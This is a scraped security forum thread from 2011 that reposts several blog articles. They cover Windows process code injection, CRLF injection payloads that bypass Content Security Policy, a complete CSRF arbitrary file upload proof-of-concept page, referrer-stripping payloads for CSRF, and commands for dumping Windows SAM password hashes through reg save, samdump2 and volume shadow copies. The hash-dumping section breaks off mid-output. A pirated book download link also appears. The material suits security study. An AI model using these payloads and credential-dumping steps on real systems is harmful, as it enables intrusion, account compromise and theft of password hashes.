Nytro

[h=3]Executable Code Injection the Interesting Way[/h][h=2]Friday, December 16, 2011[/h] So. Executable code injection. In general, this term is associated with malicious intent. It is true in many cases, but in, at least, as many, it is not. Being malware researcher for the most of my career, I can assure you, that this technique appears to be very useful when researching malicious software, as it allows (in most cases) to defeat its protection and gather much of the needed information. Although, it is highly recommended not to use such approach, sometimes it is simply unavoidable. There are several ways to perform code injection. Let's take a look at them. DLL Injection The most simple way to inject a DLL into another process is to create a remote thread in the context of that process by passing the address of the LoadLibrary API as a ThreadProc. However, it appears to be unreliable in modern versions of Windows due to the address randomization (which is currently not true, but who knows, may be once it becomes real randomization). Another way, a bit more complicated, implies a shell code to be injected into the address space of another process and launched as a remote thread. This method offers more flexibility and is described here. Manual DLL Mapping Unfortunately, it has become fashionable to give new fancy names to the old good techniques. Manual DLL Mapping is nothing more than a complicated code injection. Why complicated, you may ask - because it involves implementation of custom PE loader, which should be able to resolve relocations. Adhering the Occam's Razor principle, I take the responsibility to claim, that it is much easier and makes more sense to simply allocate memory in another process using VirtualAllocEx API and inject the position independent shell code. Simple Code Injection As the title of this section states, this is the simplest way. Allocate a couple of memory blocks in the address space of the remote process using VirtualAllocEx (one for code and one for data), copy your shell code and its data into those blocks and launch it as a remote thread. All the methods listed above are covered well on the Internet. You may just google for "code injection" and you will get thousands of well written tutorials and articles. My intention is to describe a more complex, but also a more interesting way of code injection (in a hope that you have nothing else to do but try to implement this). Before we start: Another note for nerds. The code in this article does not contain any security checks unless it is needed as an example. This is not malware writing tutorial, so I do not care whether the AV alerts when you try to use this method. No, manual DLL mapping is not better ;-). Neither do I care about how stable this solution is. If you decide to implement this, you will be doing it at your own risk. Now, let's have some fun. Disk vs Memory Layout Before we proceed with the explanation, let's take a look at the PE file layout, whether on disk or in memory, as our solution relies on that. This layout is logically identical for both PE files on disk and PE files in memory. The only differences are that some parts may not be present in memory and, the most important for us, on disk items are aligned by "File Alignment" while in memory they are aligned by "Page Alignment" values, which, in turn may be found in the Optional Header. For full PE COFF format reference check here. Right now, we are particularly interested in sections that contain executable code ((SectionHeader.characteristics & 0x20000020) != 0). Usually, the actual code does not fill the whole section, leaving some parts simply padded by zeros. For example, if our code section only contains 'ExitProcess(0)', which may be compiled into 8 bytes, it will still occupy FileAlignment bytes on disk (usually 0x200 bytes). It will take even more space in memory, as the next section may not be mapped closer than this_section_virtual_address + PageAlignement (in this particular case), which means that if we have 0x1F8 free bytes when the file is on disk, we'll have 0xFF8 free bytes when the file is loaded in memory. The "formula" to calculate available space in code section is next_section_virtual_address - (this_section_virtual_address + this_section_virtual_size) as virtual size is (usually) the amount of actual data in section. Remember this, as that is the space that we are going to use as our injection target. It may happen, that the target executable does not have enough spare space for our shell code, but let this not bother you too much. A process contains more than one module (the main executable and all the DLLs). This means that you can look for spare space in the code sections of all modules. Why only code sections? Just in order not to mess too much with memory protection. Shellcode The first and the most important rule for shellcode - it MUST be position independent. In our case, this rule is especially unavoidable (if you may say so) as it is going to be spread all over the memory space (depends on the size of your shell code, of course). The second, but not less important rule - carefully plan your code according to your needs. The less space it takes, the easier the injection process would be. Let's keep our shell code simple. All it would do is interception of a single API (does not matter which one, select whichever you want from the target executable's import section), and show a message box each time that API is called (you should probably select ExitProcess for interception if you do not want the message box popping up all the time). Divide your shellcode into independent functional blocks. By independent, I mean that it should not have any direct or relative calls or jumps. Each block should have one data field, which would contain the address of the table containing addresses of all our functions (and data if needed). Such mechanism would allow us to spread the code all over the available space in different modules without the need to mess with relocations at all. The picture on the left and the diagram below will help you to better understand the concept. Init - our initialization function. Once the code is injected, you would want to call this function as a remote thread. Patch - this block is responsible for actually patching the import table with the address of our Fake. The code in each of the above blocks will have to access Data in order to retrieve addresses of functions from other blocks. Your initialization procedure would have to locate the KERNEL32.DLL in memory in order to obtain the addresses of LoadLibrary (yes, it would be better to use LoadLibrary rather then GetModuleHandle), GetProcAddress and VirtualProtect API functions which are crucial even for such a simple task as patching one API call. Those addresses would be stored in Data. The Injector While the shellcode is pretty trivial (at least in this particular case), the injector is not. It will not allocate memory in the address space of another process (if possible, of course). Instead, it will parse the the PEB (Process Environment Block) of the victim in order to get the list of loaded modules. Once that is done, it will parse section headers of every module in order to create list of available memory locations (remember, we prefer code sections only) and fill the Data block with appropriate addresses. Let's take a look at each step. First of all, it may be a good idea to suspend the process by calling SuspendThread function on each of its threads. You may want to read this post about threads enumeration. One more thing to remember is to open the victim process with the following flags: PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_SUSPEND_RESUME in order to be able to perform all the following operations. The function itself is quite simple: DWORD WINAPI SuspendThread(__in HANDLE hThread); Don't forget to resume all threads with ResumeThread once the injection is done. The next step would be calling the NtQueryInformationProcess function from the ntdll.dll. The only problem with it is that it has no associated import library and you will have to locate it with GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess"), unless you have a way to explicitly specify it in the import table of your injector. Also, try LoadLibrary if the GetModuleHandle does not work for you. NTSTATUS WINAPI NtQueryInformationProcess( __in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, /* Use 0 in order to get the PEB address */ __out PVOID ProcessInformation, /* Pointer to the PROCESS_BASIC_INFORMATION structure */ __in ULONG ProcessInformationLength, /* Size of the PROCESS_BASIC_INFORMATION structure in bytes */ __out_opt PULONG ReturnLength ); typedef struct _PROCESS_BASIC_INFORMATION { PVOID ExitStatus; PPEB PebBaseAddress; PVOID AffinityMask; PVOID BasePriority; ULONG_PTR UniqueProcessId; PVOID InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; The NtQueryInformationProces will provide you with the address of the PEB of the victim process. This post will explain you how to deal with PEB content. Of course, you will not be able to access the that content directly (as it is in the address space of another process), so you will have to use WriteProcessMemory and ReadProcessMemory functions for that. BOOL WINAPI WriteProcessMemory( __in HANDLE hProcess, __in LPVOID lpBaseAddress, /* Address in another process */ __in LPCVOID lpBuffer, /* Local buffer */ __in SIZE_T nSize, /* Size of the buffer in bytes */ __out SIZE_T* lpNumberOfBytesWritten }; BOOL WINAPI ReadProcessMemory( __in HANDLE hProcess, __in LPCVOID lpBaseAddress, /* Address in another process */ __out LPVOID lpBuffer, /* Local buffer */ __in SIZE_T nSize, /* Size of the buffer in bytes */ __out SIZE_T* lpNumberOfBytesRead }; Due to the fact that you are going to deal with read only memory locations, you should call VirtualProtectEx in order to make those locations writable (PAGE_EXECUTE_READWRITE). Don't forget to restore memory access permissions to PAGE_EXECUTE_READ when you are done. BOOL WINAPI VirtualProtectEx( __in HANDLE hProcess, __in LPVOID lpAddress, /* Address in another process */ __in SIZE_T dwSize, /* Size of the range in bytes */ __in DWORD flNewProtect, /* New protection */ __out PDWORD lpflOldProtect }; You may also want to change the VirtualSize of those sections of the victim process you used for injection in order to cover the injected code. Just adjust it in the headers in memory. That's all folks. Let me leave the hardest part (writing the code) up to you this time. Hope this post was interesting and see you at the next. Posted by Alexey Lyashko at 12:50 AM Sursa: System Programming: Executable Code Injection the Interesting Way

Exploit firewire access against MAC OS X In my last paper [HACKMACOSX], I wrote a python script based on "libforensic1394" libraires to extract physical memory through firewire access. This shows you an exploitation of this script in a real scenario ... http://vimeo.com/33419578 Also, you can download this video :.avi / .m4v Download > HackMacOSX-TipsNTricks-1.1.pdf EN> The objective of this document is to present a variety of fun tricks (but not necessarily an exhaustive list) to compromise the Apple Mac OS X system. I plan to update this document following further research and the publication of subsequent new tricks concerning the Mac OS X. Please be indulgent, I’m not a security researcher and this paper was written in a few hours. In the current version (1.1), I included the recommendations to avoid the presented hacks in this paper. Sursa: Blog de Sud0man

Understanding The Linux Kernel, 3rd Edition Understanding The Linux Kernel, 3rd Edition (2005).chm 2.77 MB File description: Understanding the Linux Kernel will acquaint you with all the inner workings of Linux, but it's more than just an academic exercise. You'll learn what conditions bring out Linux's best performance, and you'll see how it meets the challenge of providing good system response during process scheduling, file access, and memory management in a wide variety of environments. This book will help you make the most of your Linux system. Download: http://www.megaupload.com/?d=DQZZSA7X

Cand am timp postez lucrurile mai interesante de pe forum (nu toate porcariile) si pe pagina Facebook. Dati Like daca va place sau daca aveti prieteni interesati de asa ceva recomandati-le pagina.

Are backup la zi, dar nu asta era problema. Datele erau in baza de date, doar ca nu mai corespundea forumid-ul. Practic a disparut decat linia categoriei "Ajutor" din tabelul cu forumuri, dar toate topicurile erau la locul lor.

Acum ceva timp, din cauza unor probleme tehnice, am pierdut in totalitate categoria "Ajutor", si am creat una temporara. Mi-am adus azi aminte de acest aspect si am incercat sa vad daca se poate face ceva. Pana acum 5 minute categoria si statisticile aratau asa: Dar am rulat 2 query-uri SQL si am ajuns la: Deci s-au recuperat cam 5000+ de topicuri si 30000+ posturi. Nu e foarte important, dar da bine la statistici.

This video shows you how-to get started using the Nessus vulnerability scanner, including: Where to download Nessus Introduction to policies, scans, and reports Performing an asset discovery scan Running a network-based vulnerability scan Configuring a patch uditing scan Performing a configuration audit Detecting sensitive data (SSN & credit cards) Running web application tests Reporting & filtering Risk analysis and compliance (PCI DSS) Video:

[h=2]Newfangled graphics engine for browsers fosters data theft[/h] The shady truth behind CSS shaders By Dan Goodin in San Francisco • Get more from this author Posted in Security, 14th December 2011 21:28 GMT Software developers at Google, Apple, Adobe, and elsewhere are grappling with the security risks posed by an emerging graphics technology, which in its current form could expose millions of web users' sensitive data to attackers. The technology, known as CSS shaders is designed to render a variety of distortion effects, such as wobbles, curling, and folding. It works by providing programming interfaces web developers can call to invoke powerful functions from an end user's graphics card. But it could also be exploited by malicious website operators to steal web-browsing history, Facebook identities, and other private information from unsuspecting users, Adam Barth, a security researcher on Google's Chrome browser warned recently. "Because web sites are allowed to display content that they are not allowed to read, an attacker can use a Forshaw-style CSS shader [to] read confidential information via the timing channel," Barth wrote in a December 3 post to his private blog. "For example, a web site could use CSS shaders to extract your identity from an embedded Facebook Like button. More subtly, a web site could extract your browsing history bypassing David Baron's defense against history sniffing. On the discussion list for developers of the WebKit browser engine, Barth and developers from Apple, Adobe, and Opera discussed the risks posed by the CSS shaders technology, which was submitted to the W3C as an industry standard in October. Some members argued the timing attack Barth contemplated wasn't practical because it would have to be customized to a particular browser and would took a long time to extract only a partial image displayed on an end user's monitor. "Even if you tuned a CSS attack to a given browser whose rendering behavior you understand, it would take many frame times to determine the value of a single pixel and even then I think the accuracy and repeatability would be very low," Apple developer Chris Marrin wrote in response. "I'm happy to be proven wrong about this, but I've never seen a convincing demo of any CSS rendering exploit." Barth conceded he was aware of no reliable proofs of concept demonstrating the attack, but he told The Register he's concerned the feature could expose users to a classic browse-and-get-hacked attack in which private information is stolen simply by visiting the wrong site. "For example, an attacker could apply a CSS shader to an iframe containing content from another web site," he wrote in an email. "If the attacker crafts a shader such that its run time depends on the contents of the iframe, the attacker could potentially steal sensitive data from that web site." He said that exploits might also expose the directory locations of sensitive files when users upload files to a website. The scenario outlined by Barth closely resembles a vulnerability disclosed in another graphics engine that's also emerging as an industry standard. In June, security researchers warned that a 3D-accelleration API known as WebGL also allowed websites to extract images displayed on a visitor's monitor. An accompanying proof-of-concept exploit stole images displayed on the Firefox browser by "spraying" memory in the computer's graphics card. The researchers said other browsers were probably also vulnerable. Barth said the vulnerability has since been fixed. Parts of the CSS shaders specification are available in nightly developer builds of the WebKit browser engine that form the underpinnings of the Chrome and Apple Safari browsers. Adobe has an internal build of WebKit that implements CSS shaders more completely. Barth said he's unaware of the technology shipping in working versions of any browser. And that means the coalition of developers still has time to fix the flaw before it can do any damage. "There are a number of defenses that we're discussing in the W3C CSS-SVG effects task force," Barth said. "In my view, the most promising approach is to find a subset of the GLSL shader language in which a shader always takes the same amount of time to run, regardless of the input. If we find such a subset, web sites would be able to use these effects without the browser leaking sensitive information into the timing channel." ® Sursa: Newfangled graphics engine for browsers fosters data theft • The Register

[h=3]Evading Content Security Policy with CRLF Injection[/h] [h=2]Tuesday, December 13, 2011[/h]By Gursev Kalra. Content Security Policy (CSP) was developed with the aim of reducing content injection attacks like Cross Site Scripting. CSP allows the developers to specify the permitted content sources for their web applications and relies on HTTP response headers to enforce content restrictions. When CSP is implemented by the web application and supported by the web browser, content injection attacks can be performed by: Exploiting flaws in browser CSP implementation Manipulating HTTP response headers. CRLF injection is one possible technique by which an attacker can control HTTP response headers. If client provided parameters are returned in response headers without any validation, CRLF injection can be used to bypass CSP restrictions. For demonstrations, two web pages were setup with the following content at two different origins Webpage 1: http://localhost:3000/csp Content: http://localhost:3333/xss.js Webpage 2: http://localhost:3333/xss.js Content: alert('XSS’) CRLF Injection and CSP: If a HTTP response contains same HTTP header multiple times, different browsers interpret the headers differently. Certain browsers interpret the first occurrence of the HTTP header, others choose the last one. Hence, positioning of CSP directive (X-Content-Security-Policy) in application response can play an interesting role. In the discussion below, we assume that the web application implements CSP and is vulnerable to CRLF injection: Case 1: Attack vector is returned before the CSP header in the HTTP response headers: Case 1a: If the browser picks the first occurrence of the CSP header, CRLF injection can then be used to insert a CSP header with following attack vector: lang=en_US%0d%0aX-Content-Security-Policy: allow * In this case, the web browser will interpret the first CSP header and will happily retrieve content from any malicious URL. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption]Image shows malicious CSP directive inserted before the legitimate header [/TD] [/TR] [/TABLE] Case 1b: If the browser picks the last occurrence of the CSP header, following CRLF injection attack vector can be used to insert custom CSP header. lang=en_US%0d%0aX-Content-Security-Policy: allow *%0d%0a%0d%0a Two trailing occurrences of CRLF will push the CSP directive into the content and will not be interpreted as a CSP directive. This again allows attacker to bypass CSP protection and execute and source arbitrary content. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption]Image shows CSP directive pushed out to response body and rendered ineffective [/TD] [/TR] [/TABLE] Case 2: Attack vector is returned after the CSP header in the HTTP response headers Case 2a: If the browser picks the first occurrence of the CSP header, the CSP directive cannot be overridden for the current resource. For an attack to function one has to look into the possibility of exploiting HTTP Response Splitting. Case 2b: If the browser picks the last occurrence of the CSP header, CRLF injection can be used to insert a malicious header similar to case 1a. lang=en_US%0d%0aX-Content-Security-Policy: allow * This will cause the browser to interpret the CSP directive as allow * to retrieve content from arbitrary URLs. It was observed that when more than one X-Content-Security-Policy headers were received by Firefox (7.0.1), it securely defaulted to same origin policy for all content. The POC below pushes the headers out to the response body by two CRLF sequences to achieve script execution. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption]Image shows script execution prevented from a different origin (http://localhost:3333) [/TD] [/TR] [/TABLE] [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Image shows successful script execution when the page was vulnerable CRLF injection [/TD] [/TR] [/TABLE] Sursa: Open Security Research: Evading Content Security Policy with CRLF Injection

Se vede in videoclip. Gaseste pe un site paginile catre care se face request AJAX, nu doar legaturile statice.

CSRF arbitrary file upload [h=2]Thursday, 15 December 2011[/h] [h=3]CSRF - File Upload PoC[/h] A couple of weeks ago I have found myself working on a CSRF File Upload Proof-of-Concept (PoC) for a bug I have found in an Oracle product. I remember that Krzysztof Kotowicz did some research on a similar PoC not long time ago. A quick Google search brought me to his article on invisible arbitrary file upload in Flickr. So instead of reinventing the wheel, I have tried to use his PoC code available here. Unfortunately, the code was not working in my case and I was unsure whether that was depending on the browsers I was using (Firefox 8.0.1 and Chrome 15.0.874.121) and/or on the vulnerable application itself. Consequently, I have spent some time to come up with a PoC (or probably a good term would be a collage) which would work in my case. The technique used is the same illustrated in Kotowicz's research and more information can be found here. In few words, the exploitation process is divided in two steps: 1) Use XHR to get a binary file and store it as a JavaScript object; 2) Then perform a cross-domain XHR POST request (using CORS) to send/upload the binary file to the vulnerable application. Here is the PoC I have composed by taking pieces of code from different parts. For the curios reader, here is the diff output between my PoC and Kotowicz's one. Following is a short summary of the collage: Supporting multiple parameters I just reused the same functions in Kotowicz's Flickr PoC to support multiple POST parameters. Grabbing the binary file I am using snippet code from here - the getBinary() function works fine in the latest Firefox (8.x) and Chrome (15.0.874.121). Blob Type I have integrated sendUpload() function into the fileUpload() one, with a modification around the Blob type, which is used to store the binary file. Below is the modified line: var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); This change was done because Chrome was complaining about the New BlobBuilder data type used in the original sendUpload() function. Further Notes The getBinary() function is used to get the file and considering CRSF occurs from a malicious site, then there are no issues with SOP, as the malicious file is served from the same domain. A minor issue that I encountered during this work was related to single and double quotes in the filename value. In Kotowicz's original PoC, the Content-Disposition: header is set as an "attachment". The filename value is quoted with single quotes. However, in my case the single quotes PoC was not working. I have noticed that Firefox and Chrome automatically quote the filename with double quotes when the upload is performed with user interaction. The excerpt below is from an intercepted file upload request with Firefox: POST /vulnerableappupload HTTP/1.1 Host: apphost [snip] Content-Type: multipart/form-data; boundary=---------------------------9040894219264 Content-Length: YYYY -----------------------------9040894219264 Content-Disposition: form-data; name="extraParam1" value1 -----------------------------9040894219264 Content-Disposition: form-data; name="extraParam2" value2 -----------------------------9040894219264 Content-Disposition: form-data; name="filenameId"; filename="test.png" Content-Type: image/png [snip] [I][FONT=Times New Roman][FONT=Arial][/FONT][/FONT][/I] However, in some cases, it is possible to successfully upload a file by submitting the filename between single quotes or even without quotes. It depends on the way the file upload application functionality parses the Content-Disposition: header and related values from the browser. Beside, I also did realise (lately) that there was a more recent PoC commit pushed by Kotowicz which was using the double quotes approach. My bad for missing it, as it would have saved quite some time. Anyway, I got curios about the single quote/double quote issue and I had checked the RFC 2813. It doesn't specify whether the filename value has to be enclosed with single quotes or double quotes, so I am assuming that depends on the browser. Actually, in the examples included in the RFC 2813, the filename doesn't have quotes at all! For those readers who are more interested, here is a page including a comprehensive testing conducted against the Content-Disposition header using different browsers. Another minor note should be paid to the boundary value used in the file upload. The boundary in a multipart/byte request is a MIME boundary. This boundary value should not appear anywhere else in the data except between the multiple parts of the data. Also, the boundary value has to be the same to separate each part, so if you intend to reuse the PoC make sure you don't mess with that. I did that resulting in further wasted time . Constraint The PoC would only work for a single step file upload process. If the application requires multiple steps to complete the file upload, then further logic needs to be added to the PoC. <!DOCTYPE html> <html> <body> <h1>CSRF arbitrary file upload</h1> <br><br> This is a Proof-of-Concept - the start() function can be invoked automatically.<br><br> This is a variation of the technique demonstrated here: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html<br><br> Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html<br><br> Tested succesfully with:<br><br> Firefox 8.0 and 8.0.1<br><br> Chrome 14.0.835.202 and Chrome 15.0.874.121<br><br> <button type="button" id="upload" onclick="start()"><font size="+2">Upload File</font></button> <script> var logUrl = 'http://vulnappfileupload'; // edit this entry function fileUpload(fileData, fileName) { var fileSize = fileData.length, boundary = "---------------------------270883142628617", // edit this entry uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { // in case multiple parameters need to be supplied param1 : "value1", // edit this entry param2 : "value2", // edit this entry "param3" : "value3" // edit this entry } if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 var tmp = ''; for (var i = 0; i < fileData.length; i++) tmp += String.fromCharCode(fileData.charCodeAt(i) & 0xff); fileData = tmp; } else { // Chrome 9 // http://javascript0.org/wiki/Portable_sendAsBinary XMLHttpRequest.prototype.sendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); bb.append(data); var blob = bb.getBlob(); this.send(blob); } } var fileFieldName = "filename_parameter"; // edit this entry xhr.open("POST", uri, true); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a file MIME POST request. xhr.setRequestHeader("Content-Length", fileSize); xhr.withCredentials = "true"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { if (xhr.responseText != "") { alert(JSON.parse(xhr.responseText).msg); } } else if (xhr.status == 0) { } } } var body = ""; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body += addField(i, additionalFields[i], boundary); } } body += addFileField(fileFieldName, fileData, fileName, boundary); body += "--" + boundary + "--"; xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n'; c += value + "\r\n"; return c; } function addFileField(name, value, filename, boundary) { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; c += "Content-Type: application/octet-stream\r\n\r\n"; // edit this entry if required c += value + "\r\n"; return c; } function getBinary(file){ var xhr = new XMLHttpRequest(); xhr.open("GET", file, false); xhr.overrideMimeType("text/plain; charset=x-user-defined"); xhr.send(null); return xhr.responseText; } function start() { var c = getBinary('maliciousfile.xxx'); // edit this entry fileUpload(c, "maliciousfile.xxx"); // edit this entry } </script> </body> </html> Sursa: malerisch.net: CSRF - File Upload PoC POC: https://github.com/malerisch/blog-kotowicz-net-examples/blob/master/crossdomain-upload/evil/upload.html

[h=3]Bye bye, Referrer...[/h] 10 Dec, 2011 with 0 Comments The checking of the HTTP referer is sometime used to prevent CSRF by accepting requests only from trusted sources. Some developers adopt the following basic designs without considering the possibility to use random tokens. If a request lacks the header, the site accepts the request (lenient Referer validation) If a request lacks the header, do not accept it at all (strict Referer validation) None of these techinques are satisfactory in terms of security; the first one allows an attacker to suppress the header and make the application consider as trusted a malicious request, the second one incurs a compatibility penalty. Maybe the future is in the Origin header, but at the moment the best way to prevent CSRF attacks is using random tokens. Krzysztof Kotowicz made an interesting research, showing which are the methods for client side only referrer stripping in POST & GET requests. I hardly encourage you to take a look at his blogpost. I tried to further investigate in order to discover some other ways to suppress the referer, here follows an exahustive scheme. Let's assume http://target.xx as the target URL, all tests were done in: Firefox 8.0, Opera 11.60, IE 9, Chrome 15, Safari 5.1.1. GET method // Firefox <script> location="jar:http://target.xx!/"; </script> // Firefox <script> location="javascript:'<html><meta http-equiv=\"refresh\" content=\"0; url=http://target.xx\"></html>'"; </script> // Chrome, Safari <a rel="noreferrer" href="http://target.xx">click me</a> // Chrome, Safari <img src ="x.jpg" width="145" height="126" usemap ="#s" /> <map name="s"> <area shape="rect" coords="0,0,82,126" href="http://target.xx" rel="noreferrer"/> </map> POST method // Firefox getAppletContext().showDocument(new URL("javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</script>'")); // Firefox <script> location="javascript:'<form id=x method=POST action=\"http://target.xx\" ></form><script>document.getElementById(\"x\").submit()</sc"+"ript>'"; </script> // Firefox, Chrome, Safari <a href="data:text/html,<form id=x method=POST action=http://target.xx' ></form><script>document.getElementById('x').submit()</script>">click me</a> // Firefox, Chrome, Safari <img src ="x.jpg" width="145" height="126" usemap ="#s" /> <map name="s"> <area shape="rect" coords="0,0,82,126" href="data:text/html,<form id=x method=POST action='http://target.xx' ></form><script>document.getElementById('x').submit()</script>" /> </map> About the first one, it is pretty weird because of the jar scheme: actually the target URL will not be displayed, FF will return an "Unsafe File Type" page. However the GET request is submitted to the server, so it reaches the application. As you can see, javascript:'html' even works, moreover you could ask the user to click an anchor or an image. Chrome and Safari support the HTML5 noreferrer link relation (rel="noreferrer") within an a and an area element - Chrome and Safari hide the target url within the status bar for the area elements! For the sake of completeness, in the case of Java Applets the attacker may use the getMember() method in order to access Javascript objects (JSObject). I did not test the ftp scheme, but I suppose the referrer is also suppressed; instead getURL('http://target.xx/', '_self') leaks the referrer. Conclusion If you encounter a website which adopts lenient Referer validation for preventing CSRF, then you will be definitely able to exploit it by suppressing the referrer. So let's use random tokens... For further information: - Robust Defenses for Cross-Site Request Forgery - Cross-Site Request Forgery (CSRF) - OWASP - Redirection Methods - html5security Sursa: Bye bye, Referrer...

[h=1]Dump Windows password hashes efficiently - Part 1[/h] Slightly modified definition from Wikipedia: The Security Accounts Manager (SAM) is a registry file in Windows NT and later versions until the most recent Windows 7. It stores users' passwords in a hashed format (in LM hash and NTLM hash). Since a hash function is one-way, this provides some measure of security for the storage of the passwords. Generally, dumping operating system users' password hashes is a common action following a compromise of a machine: getting access to the password hashes might open the doors to a variety of attacks including, but not limited to, authenticate with the hash over SMB to other systems where passwords are reused, password policy analysis and pattern recognition, password cracking, etc. Depending on the type of access that you have got to the target, you can retrieve the password hashes from SAM in different ways. Physical access Given physical access to the system, typically during a laptop assessment or a successful social engineering engagement, the preferred way to safely dump the password hashes is to power off the machine, enter the BIOS menu at power-on time, review the boot order to allow boot from the optical drive and USB drive before local hard-disk, save the settings and reboot the system with your favourite GNU/Linux live distribution CD or USB stick. Two widely known tools to dump the local users' hashes from the SAM file, given the Windows file system block file, are bkhive and samdump2: bkhive - dumps the syskey bootkey from a Windows system hive. samdump2 - dumps Windows 2k/NT/XP/Vista password hashes. These tools are generally included in many GNU/Linux live distributions. If they're not, make sure to bring a copy of them with you. Usage: # bkhivebkhive 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it Usage:bkhive systemhive keyfile # samdump2samdump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it Usage:samdump2 samhive keyfile Example of retrieving the SAM hashes from a Windows partition /dev/sda1: # mkdir -p /mnt/sda1# mount /dev/sda1 /mnt/sda1 # bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved-syskey.txt # samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt In the event that you have not got bkhive or samdump2 with you, you can fall-back to copy the SYSTEM and SAM files from /mnt/sda1/Windows/System32/config to your USB stick and import them to any tool that is able to extract the SAM hashes from them: Cain & Abel, creddump and mimikatz are some available tools. Bypass login prompt If you are looking into bypassing the login prompt rather than dumping users' password hashes, some smart people have came up with innovative approaches: BootRoot is a project presented at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh, as an exploration of technology that custom boot sector code can use to subvert the Windows kernel as it loads. The eEye BootRootKit is a boot sector-based NDIS backdoor that demonstrates the implementation of this technology. SysRQ2 is a bootable CD image that allows a user to open a fully privileged (SYSTEM) command prompt on Windows 2000, Windows XP, and Windows Server 2003 systems by pressing Ctrl+Shift+SysRq at any time after startup. It was first demonstrated at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh as an example of applied eEye BootRoot technology. Use the "create CD from ISO image" feature of your preferred CD burning software to create a bootable SysRq CD. Kon-Boot is an prototype piece of software which allows to change contents of a linux kernel and Windows kernel on the fly (while booting). In the current compilation state it allows to log into a linux system as root user without typing the correct password or to elevate privileges from current user to root. For Windows systems it allows to enter any password protected profile without any knowledge of the password. Password reset Alternatively you can boot the machine with the bootdisk live CD or USB stick and use the chntpw utility to reset any Windows local user's credentials. Post-exploitation scenario The typical scenario here is that you have compromised a Windows machine by any means and have got shell access as an administrative user. Firstly, you need to escalate your privileges to SYSTEM user. A simple way is to use Sysinternals' PsExec utility: C:\>psexec.exe -i -s cmd.exe Although, there are several other techniques too, but this is outside of the scope of this post. Legacy techniques On Windows NT and Windows 2000 systems you can use MSbackup utility part of the MS-DOS subsystem: Backup the system state into a file locally on the machine you have compromised, then using MSbackup again, restore the system state stuff to a local directory without preserving the security. Once complete, you will have the SAM and SYSTEM files. You need about 280Mb for the initial backup - typical for a Windows 2000 with current service packs and hot fixes. Another solution is to use regback.exe part of the Windows 2000 Resource Kit Tools. This is slightly easier as it only dumps the specific files: C:\>regback.exe C:\backtemp\SAM machine samC:\>regback.exe C:\backtemp\SYSTEM machine system If you cannot get regback.exe to work, on Windows XP and above systems use regedit.exe or reg.exe. Using reg.exe: C:\>reg.exe save HKLM\SAM samThe operation completed successfully C:\>reg.exe save HKLM\SYSTEM sys The operation completed successfully Using regedit.exe: Execute regedit.exe from Start / Run prompt. Open up Computer\HKEY_LOCAL_MACHINE and right-click the SAM section and select Export. Change the Save as type setting to Registry Hive Files and save as SAM. Same steps with SYSTEM hive. Lastly, you can also get the SAM and SYSTEM files from C:\Windows\repair\. Although this directory contains outdated copies of the original C:\Windows\System32\config\ files so it might not reflect the current users' credentials. Volume Shadow Copies technique This technique is fairly recent and was first illustrated by Tim Tomes. It consists of abusing the Volume Shadow Copies functionality in modern Windows operating systems to access protected system files like C:\Windows\System32\config's SAM and SYSTEM. You can use the Volume Shadow Copy Management command line interface, vssown, to leverage this technique as follows. List shadow copies: C:\>cscript vssown.vbs /listMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. SHADOW COPIES============= As expected, no shadow copies initially. Verify the status of the Volume Shadow Service (VSS): C:\>cscript vssown.vbs /statusMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. [*] Stopped C:\>cscript vssown.vbs /modeMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. [*] VSS service set to 'Manual' start mode. In this case, once we are done, we need to restore it to the initial state (Stopped). Create a new shadow copy: C:\>cscript vssown.vbs /createMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. [*] Attempting to create a shadow copy. Verify that the shadow copy has been created: C:\>cscript vssown.vbs /listMicrosoft ® Windows Script Host Version 5.8 Copyright © Microsoft Corporation. All rights reserved. SHADOW COPIES============= [*] ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853} [*] Client accessible: True [*] Count: 1 [*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 [*] Differnetial: True [*] Exposed locally: False [*] 